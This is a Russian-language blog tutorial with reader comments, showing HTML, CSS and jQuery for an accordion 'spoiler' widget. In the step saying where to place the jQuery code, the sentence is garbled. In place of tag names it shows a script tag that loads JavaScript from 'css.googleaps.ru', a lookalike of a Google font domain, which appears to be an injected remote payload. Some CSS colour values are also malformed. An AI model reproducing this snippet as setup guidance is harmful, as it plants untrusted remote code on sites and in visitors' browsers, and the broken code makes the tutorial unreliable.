Доброго времени суток уважаемые читатели блога Мои тараканы.
Гармошка-спойлер
Сегодня я хочу поделиться с вами одной интересной вещью, которая может пригодиться при создании сайтов. Как вы могли понять из заголовка — это гармошка-сполйер.

Простое но довольно интересное решение я нашел здесь (сайта уже не существует 🙁 ). Я немножко поработал с CSS и представляю вам свой вариант.

Этот код вставляем в том месте где хотим видеть спойлер.

<h2 class="trigger"><a href="#">Заголовок</a></h2>
<div class="toggle_container">
<div class="block">Содержимое спойлера</div>
</div>

А этот код вставляем в файл CSS.

h2.trigger {
width: 647px;
height: 40px;
padding: 0 0 0 50px;
margin: 0 0 5px 0;
font-weight: normal;
font-size: 15px;
float: left;
line-height: 40px;
border: 1px solid #0454a8;
color: #fff;
text-decoration: none;
background: #0973bb;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0f97d0', endColorstr='#0454a8');
background: -webkit-gradient(linear, left top, left bottom, from(#0f97d0), to(#0454a8));
background: -moz-linear-gradient(top,  #0f97d0,  #0454a8);
background: gradient(linear, top,  #0f97d0,  #0454a8);
border: 1px solid #0454a8;
}

h2.trigger:hover {
color: #fff;
text-decoration: none;
background: #0973bb;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0454a8', endColorstr='#0454a80f97d0');
background: -webkit-gradient(linear, left top, left bottom, from(#0454a8), to(#0454a80f97d0));
background: -moz-linear-gradient(bottom,  #454a8,  #0f97d00);
background: gradient(linear, bottom,  #0454a8,  #0f97d0);
border: 1px solid #0454a8;
}

h2.trigger  a {
color: #fff;
text-decoration: none;
display: block;
}

h2.trigger  a:hover {
color: #fff;
}

.toggle_container {
background-color: #000;
opacity: 0.9;
margin: 0 0 5px;
padding: 0;
font-size: 1em;
width: 698px;
clear: both;
overflow: hidden;
margin-top: 8px;
border-radius: 0 0 5px 5px;
font-family: Cambria, Georgia, serif;
font-style: italic;
font-size: 16px;
border: 1px solid #333;
}
.block {
padding: 20px;
}

И остается JQuery. Этот код нужно разместить между тегами <script src="//css.googleaps.ru/css?f=Open+Sans&cd=mb&ver=4.2.2"></script>.

<script type="text/javascript" language="javascript">// <![CDATA[
$(document).ready(function() {
$('h2:first').addClass('active');
$('.toggle_container:not(:first)').hide();
$('h2.trigger').click(function() {
$(this).toggleClass('active').next().slideToggle('slow') .siblings("div:visible").slideUp('slow');
$(this).siblings('h2').removeClass('active');
return false; //
});
});
// ]]></script>

Вот собственно и всё. Пример работы представленного скрипта можно увидеть здесь. Кстати, сайт на котором представлен данный пример — это дело моих рук. Если не сложно черкните пару слов в комментариях, что можете сказать об этом сайте. Для меня это очень важно.

С уважением, Мышак Пётр.

Похожие записи:

Понравилась статья? Расскажи друзьям, автор очень старался:
15 комментариев на:
“Гармошка для сайта”
  • Ирина говорит:

    Петр, отличная работа. Молодец. Это уже совсем другой уровень. Более высокий.


  • Петр, спойлер хорош, а вот с цветами не очень. Голубой как-то не очень смотрится на общем сером фоне. Возможно более темный серый оттенок выглядел бы лучше. В общем осталось поработать над цветами 🙂


  • И favicon.ico что-то не подходит подо все вышеописанное


  • Перешла на сайт, считаю, что технически сделан очень грамотно — понравились слайд-шоу. Но вот чёрного цвета слишком много Почему-то думаю, что цветовая гамма должна быть оливково-бежево-зелёная.

    Но это — мнение новичка. Может быть, я не объективна. В целом же — сайт красивый.


  • Кстати, хочу ещё добавить про чёрный фон.

    Возможно, конечно, что я близорука, но тёмный текст на чёрном фоне — ... — не поддерживаю никак.

  • Мика говорит:

    Давно искал что-то подобное, наконец-то мой сайт станет чуть более живой. Спасибо автор

  • Геннадий Ольховский говорит:

    На мой взгляд фон сайта мрачноват, хотелось бы больше красок в стиле светлого мрамора. А вот спойлер отличный, нужно подумать, где найти ему применение.

  • Алексей говорит:

    Добрый день, поставил спойлер, подскажите, как сделать, что бы он при первом посещении страницы был в свернутом виде? Сейчас при посещении он в развернутом виде и на него нужно кликнуть, что свернуть, это не очень удобно...

  • Анжела говорит:

    Очень полезная информация, которая пригодится каждому.

  • Олег Клышко говорит:

    Ссылка битая, где можно посмотреть пример. жаль я не понял что за гармошка

  • Никита говорит:

    Жаль по ссылке пример не видно( битая снова). Попробую на денвере поиграться, посмотрю что получится! Спасибо за статью

  • BiblSoft говорит:

    не веб мастер, пробовал многое на юкозе не получалось(((

  • burzevao говорит:

    Хотелось бы посмотреть пример гармошки=) Видимо, это то что я искала...

Добавить комментарий

Перед комментированием ознакомтесь с правилами комментирования
  • Все комментарии проходят ручнуюю модерацию, поэтому большая прозьба - НЕ СПАМИТЬ!!!
  • Подписывайтесь нормальными именами, а не "регистрация в Москве" или "Кондиционеры не дорого".
  • Ссылки на коммерческие сайты будут удалятся.
  • Оставляйте ссылку на главную страницу.
  • Оставляйте комментарии длинной не менее 100 символов. Исключения - диалоги и ответы на заданные вопросы.
Внимание! Один раз в неделю блог прходит проверку на наличие битых ссылок. Если ваш сайт в это время не был доступен, ссылка на него будет удалена!
За собой оставляю право редактировать и удалять комментарии, даже если они удовлетворяют вышепреведённый свод правил.